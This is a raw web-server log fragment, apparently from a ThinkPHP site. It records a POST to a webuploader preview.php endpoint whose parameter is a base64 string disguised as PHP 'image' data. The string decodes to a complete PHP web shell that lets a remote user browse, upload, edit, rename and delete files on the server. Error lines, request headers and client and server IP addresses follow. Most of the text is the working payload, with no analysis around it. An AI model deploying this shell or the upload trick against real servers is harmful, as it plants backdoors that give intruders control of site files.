'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:50+08:00 ] 119.42.146.234 POST 59.110.137.245/public/admin/js/webuploader/0.1.15/server/preview.php [运行时间:0.002724s] [吞吐率:367.08req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 